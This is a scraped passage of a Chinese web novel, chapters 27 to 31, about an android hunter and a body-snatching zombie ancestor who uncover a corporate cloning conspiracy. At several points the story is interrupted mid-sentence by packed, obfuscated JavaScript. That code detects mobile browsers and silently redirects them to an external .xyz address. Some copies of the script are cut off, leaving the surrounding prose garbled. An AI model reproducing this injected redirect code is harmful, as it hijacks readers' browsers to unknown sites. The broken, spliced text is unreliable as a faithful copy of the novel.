“……哈哈,没问题。”吴南德嬉皮笑脸,干他们这行的,最重要的不是技术,而是管住自己的嘴,不要问为什么,只要问做什么,“那……舒队长,您是想具体检查什么方面呢?” 比起吴李静的义体修复室,这里的环境实在不能用“差”字来形容,简直跟能源控制署食堂的垃圾处理中心一较高低。 舒厌深吸一口气,尽量忽略空气中的污浊:“规矩你都是清楚的,不能透露我来过这里。” “那当然,那当然。”吴南德点头哈腰,“守住客户的秘密,那可是小店的开店之本,要是连这点都做不到,我也不用在这里混了。舒队,您放心好了!”他拍着胸脯做发誓状。 “好,”舒厌也没有时间闲扯了,“开颅后,我需要你帮我看看,我的脑子是不是活的?” “啊?不是活的,难道死了吗?”第一次听到这种诉求,吴南德一时没反应过来。 舒厌点头:“也有可能是死的。” “这、这,舒队长,虽然我不太明白您说的话是什么意思,不过,您要是想知道这脑子是活的还是死的,做一个脑电波就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450744|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,没必要开颅的哈。” “我的身体经过特殊改装,普通检查装备甚至不能识别我的器官是不是仿生的,大脑也不例外,不信你可以做一个脑电波检查,会自动生成一个看似正常的电波。” “啊不用不用,”吴南德擦擦汗,“既然舒队长这么说,那肯定就是检查不出来,只能开颅了。” 这天,吴南德不到早上六点就关了门,在奋战了整整五个小时后,终于赶在猎尸队半天的假期还没有结束时,完成了开颅检查。 实际上,以他以往的经验,根本不需要这么久,可之前做的都是活人的手术,这是他第一次为一个全身义体化改装的人做手术。 如果早一点知晓最终的答案,他或许不需要那么谨慎。 现在,吴南德非常纠结,这个发现太意外了,他觉得自己只要一开口,就会得罪舒厌。 “怎么样?”舒厌问,他看到自己的颅顶骨碎片摆放在一旁的手术工具盘里。 “舒队长,您得有思想准备呀。”吴南德戴着口罩,手上还拿着各种手术器械,一旁的机械臂不停地给他擦着汗。 “看来,我果然不是活人。”舒厌一脸恹恹,难得流露出如此负面的情绪。 “唉,”吴南德口罩后的声音闷闷的,“这肯定也不是您想故意欺骗大家的,您这芯片都没有编号。” “芯片?!”舒厌眼里的光仿佛被重新点亮,但却不是希望的光,他几乎瞬间就明白吴南德是什么意思了。 “对呀,不夜穹隆的仿生人芯片都要备案的,没有备案,也就是没有编号的仿生人,呃,算是私人生产的黑户,被抓到要罚大价钱的。看您应该一直被蒙在鼓里,应该不知道谁是生产商吧?” 一种死后劫生没多久,又二次被宣判重症的荒诞感席卷了舒厌。 “所以,我的脑子既不是活的,也不是死的,我根本就没有脑子。”舒厌几乎快要笑出声。 “哈哈,”吴南德干笑两声,“舒队长,不要妄自菲薄嘛,我敢说,就算是当康基因也造不出您这样厉害的仿生人!” 他重新将“脑组织”塞回舒厌头部,开始进行缝合手术,只要确保芯片位置正确,其他的填充物随便怎么摆放都可以。吴南德大大舒了一口气,先前紧张的心情愉悦了不少。 几个小时前,舒厌说要检查脑子是活物还是死物,他虽然一开始不明白,但是半路做手术的时候突然想通了,原来舒厌要问的是,他的脑子是人类的还是僵尸的。 吴南德想想还有几分后怕,万一是个“死物”,他今天会不会又被咬上一口?当初跟舒厌的缘分,始于对方将他从僵尸口中救下,现在,难不成要被这个猎人头子咬死? 好在看到舒厌的芯片之后,他才明白自己想多了。 这猎尸队长也是可怜,前几天新闻才报道把他撤了职,今天就发现自己其实是个低等品种。要知道,仿生人没法贡献血液,在不夜穹隆干的都是社会最底层的活。 吴南德漫不经心地缝合着舒厌的头皮,从心头涌起一股莫名其妙的优越感:不得不说,从咬不死这点来看,仿生人还挺适合在猎尸队打工的。 28.懒人 城防巨墙的脚底,矗立着一栋黑漆漆的别墅。 屋子里,先前将郑有德夺走的白面具,此时正恭恭敬敬地站在餐桌旁服侍主人。他执起醒酒器,葡萄美酒顺着仰颈的开口,缓缓滑入磨砂玻璃杯中,发出细微的声响。 酒杯周围摆放着一套纯白无垢的餐盘,其中,一个血肉模糊、萦绕着微弱黑气的大脑躺在碟子的正中央,还在不受控制地轻微颤抖。 刀叉被一双苍白肥厚的手握着,手的主人每切下一块脑组织,空气中仿佛都能听到一声凄厉至极的尖啸。 餐桌不远处,“懒人”的全身已经被“肢解”,它那比普通人硕大一倍的“头颅”也被拆得七零八落,露出其中空荡荡的内容物。 被制作得这样大,并不是因为上一代智能管家机器人太过笨重,而是当中储存了两副人脑。 其中一副,正摆在餐盘,已经被主人吃掉了一大半。 剩下的一副,存放在特殊的半密封容器里,被无数闪着莹蓝的线缆如触须般连接着。 那是“师弟舒厌”的僵尸大脑,正在缓缓搏动,其上附着的血丝早已发黑,在磨砂的容器中呈现出一种不健康的颜色。 “主人,这副大脑……还没吃完,您想要怎么处理?”白面具递给主人一张柔软的帕子,经主人的嘴一擦,很快便沾满了污黑的血渍,被随意丢在脚下。 被叫做主人的那位,嘴型微凸,嘴唇厚实,最要命的,是人中之上的鼻子,那绝不是普通人类的鼻子——是一个完整的猪鼻子。 猪鼻子主人哼了一声,鼻息从硕大的孔洞中喷出:“这种吃剩的食物残渣也要问我怎么处理?!” “那我……”白面具吞了口唾沫,“就先谢过主人了。” 主人重新拿了一张帕子,把渗进鼻孔周围的血渍,又慢条斯理地清理了一遍:“你上次抢回郑有德,碰到一个很难对付的女人?” “是的,主人。”白面具强行控制住自己迫不及待的进食欲,将唾沫吞回喉咙里,“我查过了,那个女人叫寒黎,是能源控制署署长的母亲,这个人,我们是不是要——”白面具做出一个“咔嚓”脖子的动作。 “不用管她,做好你自己的事情。”猪鼻子开始剔牙。 “是,是。”白面具低头,主人说什么就是什么,他不敢多言。那些问题太多的属下早就死光了,他可没那么蠢。 猪鼻子主人站起身,往朝光线更暗的办公室走去,他边走边往智脑加密通讯中发出了这样一条信息: 「……他的仿身体没用了,杀死他,限你一周内完成。」 * 半小时前。 蚩蓠放在舒厌头发上的跳蚤分.身,传回了吴南德诊所里发生的一切。 猎尸队的前头头居然只是一个仿生人。仿生人显然无法解封本体,仅仅从这个角度来说,舒厌已经彻底失去利用的价值了,继续潜伏在他身边只会浪费时间。 这下子,蚩蓠的第一步解封计划算是彻底失败了。 此时的她正端着一杯冷萃咖啡,看似漫无目的地走在大街上,早上放了半天假,距离下午两点的上班时间还有整整三个小时。 她是否要即刻放弃寒黎的身份?寻找其他的解封方法?如果放弃,三小时后,仇怜央势必会发现寒黎并未按时打卡,继而发现她彻底失踪,再掀起新一轮全城搜捕。 仅仅依靠青魇尚不能完全自保的能力,就放弃寒黎这个特殊身份,风险未免太大了。 而且,尽管她不想承认,待在舒厌身边给她一种既危险又刺激的感觉,蚩蓠既期待两人彻底撕破脸大干一场,又隐隐希望这种不说破状态可以一直维持下去。 她总是很想惹他,想看他生气恼怒吃瘪,却又不得不摆出一副得体笑容的样子。 蚩蓠觉得自己大概是疯了。 她想到沈嘲天,开始思考起如果万一始终无法解封本体,寒黎这具身体也无法继续使用的话,将意识彻底脱离躯壳束缚,可能性究竟有多大。 可惜了,「匿影夺魂」不属于由她始祖之力所进化出的异能,她尚不能利用或者操控,更别说夺取。 距离自己的意识解封到现在还不到一周,蚩蓠身边已是危机四伏。前有舒厌随时暴露她真实身份的炸.弹,后有夜璃这颗不知道走到哪儿就会踩中的地雷。 而她呢,蚩蓠竖起两根手指,抛开早已用完的尸毒,她可以持续不受限制调用的,只有两项可怜兮兮的能力。 一是寒黎的F级加速异能,二是青魇的分.身化形,而且因为不是本体,她自己并不能分.身化形。 前路似乎回到了起点,手里的牌,实在磕碜得紧。 就在这时,迎面飞来了一只蝴蝶,一个半大孩子刚好路过,拉着妈妈的衣袖喊:“妈,那只蝴蝶好丑!跟你前男友长得好像!” 蚩蓠眉弓经不住上挑,抓住那只简直就是在毛毛虫身上直接安了一对大苍蝇翅膀似的蝴蝶。 “都说了,联络的时候不要这么惹眼。”蚩蓠转身走进一条没有监控的狭窄小巷,捧着怀里的蝴蝶忍不住嘀咕。 “啊?我以为这副伪装已经很低调了呢?”青魇化身的毛毛虫费力扇动着翅膀,似乎因为身体过于沉重,时不时就往下掉。 蚩蓠扶额:“好了,青魇,都快一星期了,查到寒黎的线索了吗?” 她可没忘记之前吩咐青魇做的事情,这年头可以轻易更换义体的富婆,都不是好惹的茬,说不定早在她夺舍的时候,寒黎就已经偷偷将意识转移了。 “蚩蓠大人,真正的寒黎早在您夺舍之前就死了!” “什么?” “是的,大人。我查到给寒黎做意识转移手术的医生了。在我的逼问之下,他告诉我,有人秘密将真正的寒黎杀死了,您这具身体的意识取代了真正的寒黎,然后又被您杀死了。” “哦?挺有意思的嘛。”蚩蓠原本因为计划失败,心情不算太好,现在听到这种碟中谍中碟的戏码,不由来了兴致,“某个人取代了寒黎,我又取代了某个人。那你知道这‘某个人’是吗?” “具体不清楚。不过,这个医生经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了,我开玩笑的。”蚩蓠收敛微笑,“我们谈正事吧。沈嘲天那边,我已经派出了你的追踪蚊,他应该不知道夜璃在城外的事情。当然,我也不打算透露。我可是非常期待他们在城外重逢的那天,正好让沈嘲天帮我探探夜璃的情况。” “这……好的。”青魇心知这根本就是把沈嘲天往虎口送,但也没有继续多说什么。 “另外,我虽然没有亲自解封郑有德,但是正常来说,我的本体既然是被死掉的那个‘僵尸舒厌’封印的,那么也应该由他亲自解封才能成功。所以归根结底,还是得找到‘僵尸舒厌’的脑子。” “明白。大人,实际上这几天我也抓了一个猎人,想让他尝试解封您的本体,但最后还是失败了。您放心,这个猎人还有之前提到的医生都处理干净了。我赞同您的想法,您的本体应该得由‘僵尸舒厌’亲自解封。” 但问题是,“僵尸舒厌”的脑子在哪里呢? 就在这时,寒黎的智脑收到了一条加密通讯: 「红面具,郑有德的事情干的不错。已经找到舒厌的大脑,他的仿身体没用了,杀死他,限你一周内完成。」 29.合作 还真是困时遇周公,“僵尸舒厌”那颗至关重要的脑子,这不就告诉她在哪儿了。 发信人甚至连个代称都没有,只有一串诱饵般的乱码,无法追踪,无法甄别,更无法确定是否正是当康基因的人发来的。 蚩蓠斟酌了几秒,回了言简意赅的两个字:「收到。」 一个计划的骨架在她脑中迅速搭建:她将继续扮演“寒黎”的身份,按照幕后之人的要求,“杀死”仿生人舒厌。然后以当面销毁仿生芯片为借口,诱导幕后之人现身,再顺藤摸瓜,找到大脑的藏匿处。如果时机允许,她会强行夺走舒厌的大脑。 这个计划不可谓不简陋。 需要舒厌的高度配合不说——这本身就是天方夜谭,万一幕后之人根本不在乎芯片是否当着他的面销毁,蚩蓠将很有可能失去接近对方的机会,只能被动等待不知道什么时候才会颁布的下一次任务。而且即便见了面,大脑的线索也未必唾手可得。 然而,蚩蓠从来不是做好详细计划再行动的人,岁月教会她,变数才是世间常态。更何况,她掌握的信息太少,敌暗我暗,摸着石头过河也没什么不好。 简而言之,她如今一无所有,自然也没什么输不起的。 退一万步想,如果舒厌不配合,杀死他也未尝不可,这是最直接的完成任务之法。 “青魇,帮我盯紧当康基因的动作,多打探一些消息,有任何新情况,随时联系我。” “明白,属下这就去办。”青魇化身的青菜虫蝴蝶飞快地扑扇着翅膀,那扭曲的蝶翼奋力一振,身影便融入了巷角那轮因能源短缺而显得苍白失色的“正午阳光”中,消失不见了。 不夜穹隆的人造光源再不复往昔,但城中区的高级公寓区,依旧维持着体面乃至奢靡的亮度。 蚩蓠通过面部识别打开公寓大门,映入眼帘的景象让她脚步微顿。 舒厌倒在客厅的沙发上,似乎是睡着了。只是他睡姿狼狈,衣领歪斜,领带被揪出一小条,衬衫更是凌乱不堪,皱巴巴地裹在身上。 不知道的,还以为这不近风情的家伙终于开窍了,像是个纵情声色后的浪荡子,与他平日那副冰冷禁欲的模样大相径庭。 至于么? 想要挖苦的声音刚要开口,蚩蓠便瞧见他额前多出来几根添愁白发。不知怎的,一股没来由的心疼占据了喉腔,脱口而出便是关心的字句。 “长官,会感冒的。” 话一出口,她才意识到荒谬。仿生人不会生病,何来感冒之说?白发也不过只是程序模拟出的生硬痕迹。 然而身体的动作快过思考,蚩蓠已经从卧室里取出一张薄毯,动作轻缓的覆在他肩上。 她就站在一步之遥,静静地看着他。 这张脸,与记忆深处那个将她钉入永恒黑暗的猎人如此相似,却又截然不同。 眼前的舒厌,更脆弱,更敏感,眉宇间锁着更深沉的无力感,却也展现出一种近乎偏执的坚韧。如果要用情感的烈度来衡量人与非人,恐怕没有人会相信,眼前的这具躯壳里跳动的只是一段程序,一枚芯片。 不知道过了多久。 “懒人呢?”沙发上的人忽然开口,眼睛并未睁开,声音带着刚醒时的沙哑。 嗯?蚩蓠这才想起那位不靠谱的智能管家:“没看到呢。他不见了?” 舒厌沉默地闭上眼,喉结滚动了一下,才低声道:“他陪在我身边二十三年了,就像一个老朋友,从来没有离开过这间屋子。” 仿佛一道惊雷在脑内炸响,蚩蓠脑中几个散落的点串联起来,拼凑出一幅阴谋的画像。 “舒厌,”她不再用“长官”称呼对方,“我们合作吧。” 舒厌抬起头,却避开了她的提议,眼神空洞地望着天花板:“我查了监控,视频被篡改了。我想不明白,一个普普通通的老款机器人能做什么?到底是谁偷走了他?” “舒厌!你看着我!”蚩蓠上前一步,掰正他的脸,强迫对方直视她的眼睛。 那双深潭般的眸子仿佛蒙上了一层白雾,白雾散开,又化作了水汽。 “蚩蓠。”他叫出了她的名字。 没有什么好遮掩的了。 蚩蓠颔首:“我要找的东西,一直在懒人身上。现在懒人不见了,那样东西也被他们拿走了。你和我的目的是一样的,你只能选择跟我合作。” “哈。”舒厌苦笑,不轻不重地推开她的手,“你难不成是在说,那个跟我同名同姓的家伙,他的大脑就藏在懒人身上?” “没错。”蚩蓠重重点头。 她不再隐瞒,将“红面具”早已取代寒黎,自己又如何黄雀在后顶替“红面具”,以及刚刚收到的“一周内杀死舒厌”的指定,统统告诉了对方。 舒厌定定地看着她,眼神复杂,却意外地坦白:“就算你愿意相信我,蚩蓠,我也不会相信你的。我虽然不是封印你的那个猎人,但也是以他为原型设计的。我们之间即便不因猎人与僵尸的身份产生对立,也会因为我和另外一个舒厌的关系,永远不可能真正对彼此坦诚。没有诚心,我们不会有真正的合作。” “不如,”他站起身,危险的气息环绕在两人之间,“你可以尝试——正大光明地杀死我。” 舒厌幼年时的模样再次浮现在蚩蓠眼前,亲眼见到其他猎人同胞惨死在她手下后,他们之间早已横亘着一条无尽的河流。 蚩蓠对舒厌父亲的误杀,更是将这条河流化作了汪洋血海,他们之间唯一架起的通海大桥,是舒厌刺向蚩蓠心腔的桃木断剑。 直到现在,那封印的灼痛仍会时不时唤醒她眼底的血色。 “你不会以为我做不到吧?”蚩蓠冷酷地说。 空气绷紧,弥漫着硝烟味。战斗似乎一触即发。 “唔——” 就在这时,厨房的沸水烧开了,传来刺耳的尖啸。 懒人的声音从客厅内置的音响系统里传来:“懒人系统为您播报时间,现在是中午十二点整,主人舒厌该回家了,热水已烧开,预计半小时后自然冷却到宜入口温度。” “咔嚓……咔嚓……咔嚓,”仿佛信号不良的卡顿声后,那个声音再次响起,语调却有了微妙的变化,“该系统,仅在我离开时启用。” 舒厌和蚩蓠都是一凌,竖起耳朵。两人面对着面,谁也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“舒厌,我们之间并不是只有你死我活这一条路。‘你’的‘父亲’以另一种形式存活着,你有机会救回他的大脑。而我所求,不过只是借用一下‘你’的脑袋而已。” 这话虽然听着怪怪的,此“你”非彼“你”,此“父”亦非彼“父”,但舒厌明白她的意思。 那些僵尸与猎人之间看似不可撼动的对立也好,猎人杀死僵尸屠龙者终成龙也罢,似乎再也不重要了。 他只想弄明白一件事情,他到底要怎样接纳自己的存在? 或许是觉得自己的说辞过于功利,蚩蓠缓和了语气,补充道:“我是死过一次的‘人’了,没有什么看不开。简单点想,你跟另外那个舒厌又有什么关系呢?忠于你此刻的情感就好。你对懒人有情,放不下他,那就跟我一起去,把他救回来。” 说实话,舒厌要是再不答应,她真的会考虑杀死他。 她也不是非他不可。 “……好。”舒厌终于松口,他转过头,目光幽幽,“但是我有一个条件。” “说。” 他眼底闪烁着晦暗不明的光:“等你达成所愿之后,必须把‘那个舒厌’的大脑交给我。” 他没有明说,但蚩蓠读懂了他的未言之意。 舒厌,他并不想要那个东西的存在。 30.阴兵小强① 两人初步达成合作,尽管蚩蓠知道,他们之间的联盟松散脆弱,一个喷嚏就能被打散,可她还是不自觉地扬起了嘴角。 尤其是,看到舒厌舍弃了他一以贯之的光明正义,将矛头对准了那个并没有惹到他的“僵尸舒厌”,他仿佛被命运推挤到她的船上,和她一起堕入阴影。 这实在,让她兴奋不已。 “没问题,等我用完之后,他的脑子你想怎么处理就怎么处理。”蚩蓠的眼眸闪亮,语调也不自觉地扬高。 智能人格舒无悔听到了他们的交易,非常满意:“仿生人舒厌,你现在的做法才是一个成熟男人的表现,请务必保持,直到夺回我们的脑子。” 舒厌懒得理会智能人格,问蚩蓠:“你打算怎么做?” “目前初步锁定跟当康基因有关,你还记得路艋吗?在当康食堂一口气吃掉五碗猪头粉的狠人,我怀疑当康在制作克隆人替代联邦职员。他们既然派人取代了真正的寒黎,肯定不会希望这个替代者‘红面具’马上暴露身份,她肯定还有别的用处。所以,就算我收到了指令要杀死你,也只能悄悄地动手。舒长官,你知道吗?最好的办法,是你得英勇牺牲啊。” “走吧,”舒厌伸了个懒腰,酒窝浅浅地浮现出来,“去办公室看看,有没有什么抓捕任务让我牺牲一下。” 这还是昨晚到现在舒厌露出的第一个笑容,他终于释怀了,从发现猎人杀死僵尸会变成僵尸,到自己这个猎人不过是个替主人守护僵尸脑子的仿生人,再到陪伴自己多年的机器人管家是僵尸“老爸”…… 一言蔽之,他的世界彻底崩塌了,好吧,他阴恻恻地想,毁灭吧,他已经找到了想要毁灭的第一个目标。 “现在快一点了,舒厌,我知道你不需要吃饭,可寒黎这具肉体凡胎已经饿得咕咕叫了。”蚩蓠拍拍肚子,“你这高级公寓应该可以配送餐饮吧?” “旁边有一家当康食堂,不如我们去那里吃?” “嗯?好主意,吃饭调查两不误。不愧是……”蚩蓠竖起拇指,许是在舒厌身边装模作样地狗腿了一周,不自觉就想拍他马屁,“咳咳。没什么。” 两人就这么愉快的决定,可刚走出公寓大门,舒厌突然一顿,似乎突然想起了什么不愉快的经历,满脸黑线地侧头,对着并肩的蚩蓠说:“我们既然是伙伴,就不要相互监视了,你把种在我头顶的虱子弄走。很痒。” 蚩蓠这才明白,他那是没忍住打了个激灵。 想不到舒厌也有如此滑稽的一幕,蚩蓠抿住嘴,没让笑声露出口,踮起脚尖,将手放在他头顶,几只虱子顺着她的手爬上来,消失不见了。 “不要跟我说,那是青魇的分.身。”舒厌没好气地说。 “长官,太聪明的人是不容易幸福的。”蚩蓠笑得眼角都眯了起来。 “你不想让我洗掉虱子,居然直接用光一整瓶洗发水!” “……那,长官,我赔一瓶给你行不?毕竟我也没真想要偷看你洗澡的。”蚩蓠佯作娇羞地用脚尖碾着地面。 舒厌简直气到发疯,哪里还有之前跟她拌嘴的你来我往:“蚩蓠……我看你才是被寒黎夺舍了。” “好了好了……长官,我的错,我的错。”蚩蓠低头比谁都快,她已经饿得前胸贴后背了。 两人来到当康食堂的连锁分店,却发现才短短一天,这里已经从门庭若市变成了门可罗雀。 蚩蓠照例点了一碗猪头粉。空荡荡的四周,偌大的就餐区,居然只有两桌人在吃饭。 问服务员肯定得不到答案,舒厌本来没在意现在还是休息时间,想直接用智脑给刑侦部负责人打个视频,可看到服务员已经无聊到一直盯着自己的脸犯花痴,果断放弃了这个想法。 蚩蓠这时候晃了晃她的智脑:“长官,昨天没时间留意新闻吧,你看看。” 「网红吃出蟑螂,当康食堂连夜发文回应:菜没问题,十几个蟑螂都是从网红嘴里爬出来的。」 事发地点:血晶一号工厂分店。 舒厌记得跟踪路艋的时候,蚩蓠放了几只蟑螂当食物搬运工,路艋吃过的剩菜还送到实验室化验来着。该不会……他低声问:“是不是青魇?” 蚩蓠:“……” 青魇倒也没那么忙。 眼看在当康食堂一无所获,舒厌用餐巾纸擦了擦嘴,准备离开,却被服务员一把叫住。 “我、我在新闻上看到过您,知道您在猎尸队工作,为民除害,我一直很仰慕像您一样优秀厉害的人,可、可以给我签个名吗?”那个一直盯着他看的服务员羞红了脸,说话结结巴巴。 这样的小迷妹他之前见过不少,没当回事,正准备接过对方的签字笔,闭着眼胡乱签个字了事。可没想到,那支笔居然越过了他,递给了蚩蓠。 “我?”蚩蓠指着自己。 “嗯嗯!”服务员脸更红,语气也更激动了,“新闻报道您被僵尸劫走,没有援手帮忙,可是您最后靠着自己的力量毫发无损地回来了!又美又飒!您太厉害了!今天居然能在我们食堂见到您,我、我好激动,对对不起,我的话太多了,你们肯定很忙……不打扰了。”说完好像要下逐客令似的,还没等蚩蓠签完字,人已经退后了一大步,连笔都不要了。 封印以前,蚩蓠收获的崇拜者就不少,大部分都是因为她救了他们,可她救人的主要方式是给对方一滴血,治病、疗伤、获得永恒年轻的生命,然后……被憎恶,有的像青魇的分.身,怨恨她没有一直给予,有的怪生命太长,爱人的生命太短,还有的,单纯恨她罢了,弱小但是不死,是最累的活法。 这是几乎是蚩蓠第一次收获来自强大的纯粹仰慕,她有些不知所措,总觉得要为对方做些什么,才值得对方的肯定。 舒厌推了推她的手,笑容意外地温柔:“愣着干什么。” “哦。”她鬼画糊一般签了个蚩蓠寒黎莫变的字迹,双手递给服务员,随口一说,“我有个同事,人比较壮,大概有你三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安全局负责的案件一般涉嫌整个不夜穹隆的安危,信息机密级别很高。刑侦部只是隶属于能源控制署的一个小部门,处理一些小打小闹。 看来路艋的事情,果然拔出萝卜带出泥,引起了联邦高层的重视。 舒厌接过化验单,飞快地扫了一眼检查结果,脸色瞬间变得相当难看。 站在一旁的蚩蓠等得有些心焦,却也只能碍在她是舒厌秘书的身份,没有多言。 党青从椅子上站起来,背过身望向窗外,语气凝重:“看来联邦要有一场大清洗了,接下来的日子会很忙。” 趁着党青背对着他们,蚩蓠不经意间挪动步子,用余光瞥了眼检查单,一堆数据、图表和检测项目底下写着一行总结: 「DNA匹配度100%,抗体组差异度小于1%,生物学特征高度匹配,基本确定为克隆体。疑似克隆体摄取(食用)本体碎片,降低抗体组差异。」 31.阴兵小强② 「疑似克隆体食用本体碎片。」 蚩蓠脑中闪过路艋在当康食堂大快朵颐的画面,鸡皮疙瘩瞬间爬满了手臂。 她原以为那些猪头粉至多只是添加了少量违禁成分,秉持着“奉献”的精神,才以身试险又吃了一顿,此刻胃里一阵翻江倒海,随时要吐出来。 如果真是人体组织,口味未免太重了些。 要是现在有一个人告诉她,她只是一个克隆体,她跟本体在DNA层面难以区分,但是两者相处的环境不同,身上的抗体和菌群存在差异。 为了确保这些细微之处不被发现,她被诱导每天都去一家食堂吃饭,饭里头掺杂着本体的组织碎片,经过入口食用,她获得了与本体一样的微生物…… 也许,也许她刚才吃的就是那样一碗猪头粉。 许是察觉到了蚩蓠的身体不适,舒厌轻轻咳嗽了一声:“韩部长,你们应该还检查了当康食堂里的其他食物样本吧。我这里只有一份检查结果,说明其他样本暂时没有发现问题?我这位秘书中午才在那里用餐。” 后面的话不需要舒厌继续,韩青已经回头朝蚩蓠笑了笑,她显然也知晓寒黎的真实身份。 “嗯,寒秘书不是外人。除了路艋食用的那一份食物以外,我们额外抽查了百分之二十的样本,暂时没有发现问题。不过,我建议以后不要去这家店比较好,舒队,还是带寒秘书吃点好的吧。” 最后那句话几乎跟责备舒厌没有区别了。 蚩蓠心满意足地狠狠点头。心下感慨,寒黎的身份真好用,本来以为韩青会介意将这些机密信息透露给她,没想到跟喻风一样,韩青对她非常客气。 只不过除了这些礼节性的客气之外,对方对她似乎还有一些别的情愫,似乎是……尊重。 “尊重”这个词还是蚩蓠以寒黎的身份第一次感受到,能源控制署大多不知情的人对她都抱着一种嗤之以鼻的态度,觉得这人不知使了什么手段上位,花瓶尴尬丢脸。外勤部那些个献殷情的,也不过只是觉得她看起来易撩风骚。 少数几个知道她身份的高官,除了用笑脸堆挤表面的热情,面具下的,只有鄙视和无语,喻风正是这里头最典型的代表。 因此当眼前的韩青抱着真诚善意的态度,责备舒厌没有好好对待寒黎时,蚩蓠竟产生了一种错觉,仿佛应该责怪的不是舒厌,而是她自己。 她真的有好好了解过寒黎吗?她是否善待过这具躯壳? “嗯,是我考虑不周了。”舒厌状似有悔地垂下眼睫,“我以为寒秘书上次一口气吃了六大碗,汤都喝得一滴不剩,肯定很喜欢呢,毕竟路艋都才吃了五碗,所以这才隔了一天,又带她去了。” 蚩蓠:“……” “啊?”韩青看看蚩蓠的身材,一脸不可置信。 “哈哈。”蚩蓠假笑两声,心道我又不是你的挂件,吃个饭还要你带着行走?不就是变成僵尸之后只能吸血,吃什么别的东西都索然无味,要不然怎么会夺舍寒黎之后大吃特吃完全不顾形象呢。 “嗝——”空气中适时地传来蚩蓠餍足的打嗝声,让密闭的办公室陷入了诡异的沉默。 蚩蓠额前噌噌噌冒出三条杠,她紧紧闭上眼,恨不能将方才那声“嗝”咽回去。 这绝对能位列她社死前三甲! 另外两人绞尽脑汁,试图找一些听上去不那么直白的转移话术,最终还是不需要呼吸的舒厌打败了韩青。 舒厌:“我们一直以为路艋的本体是昨天才遭到替换的,没想到他的克隆体早就已经渗透联邦了。如果不是当康过于小心,我们可能还没有办法发现。” “是的,这只是其中一只蟑螂。”韩青脸色不太好,不知道是不是被蚩蓠熏的,“有句话说的好,当你发现家里出现一只蟑螂时,意味着角落里可能有一百只了。调查当康势在必行。” “说到蟑螂,”舒厌摆头看了蚩蓠一眼,“我们得知当康食堂陷入了一场舆论风波,事情听上去有些诡异。韩部长,以目前的线索,这两件事可能有关联吗?” 蚩蓠本想插话,可想到肚子里尚未消化的气体,还是狠狠闭了嘴,她不想把为数不多对她存有善意的韩青熏倒。 “……从已知的线索看不出关联。而且,当康要是有意渗透联邦,这段时间应该会尽可能低调行事。我个人认为,蟑螂的事情意外的可能性更多吧。” “嗯。”舒厌若有所思地点点头,瞧蚩蓠正朝他挤眉弄眼,抿紧嘴唇不说话,末了,还不停地指着头戳了几下。 他知道对方想问什么,好笑又无奈地摇摇头,替蚩蓠开口道:“韩部长,现在意识转移技术已经非常成熟了,当康想动歪念头,应该有比通过克隆人渗透联邦更好的办法吧?不管是仿生人还是克隆人,也不是个个都听话的。” 说到最后几个字时,舒厌自嘲般瞥向玻璃幕墙自己的倒影,不用等大清洗检查到他头上,他就该“壮烈牺牲”了吧,倒省了不少自己都弄不明白的解释。 “舒队,您忘了我们有「归零」了吗?每个人的意识都能产生一段特定的能量频谱,如果意识被替换,「归零」可以通过检查轻松扫描出来。况且,当康基因的克隆技术非常成熟,制作可以控制的克隆体是他们的强项。” 这下蚩蓠再也管不了什么形象不形象了,脱口而问:“克隆体跟本体的意识应当不一样吧?”说完马上闭紧了嘴巴。 韩青温柔地笑了:“寒秘书不用在意这些细节,有什么不了解的尽管问我就好。我平时经常跟尸体打交道,对味道不敏感。” ……怎么说呢,好像更不想开口了。 蚩蓠挠挠头,脸涨得通红,哪里还有一点尸祖的样子。 韩青继续说:“有一些克隆体几乎完整地复刻了本体的记忆和性格,从意识层面来说,两者的区分本来就不大,产生的能量频谱也会很接近,就算是「归零」,期初也很难分辨,只有随着时间的不断推移,两人的命运轨迹不再相似,想法和经历发生变化,意识才会逐渐分化为两个不同的人。” “明白了。”蚩蓠低低地说。 实际上她还有一事想不明白,她的能量频谱与原主寒黎显然不一致,为何当初去地下监狱接受检查的时候,「归零」却声称她没有任何问题? 她很想说「归零」不可全信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508445|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但又无法开口言明。 两人谢过韩青,回到舒厌的办公室,竟一时不知道干什么。 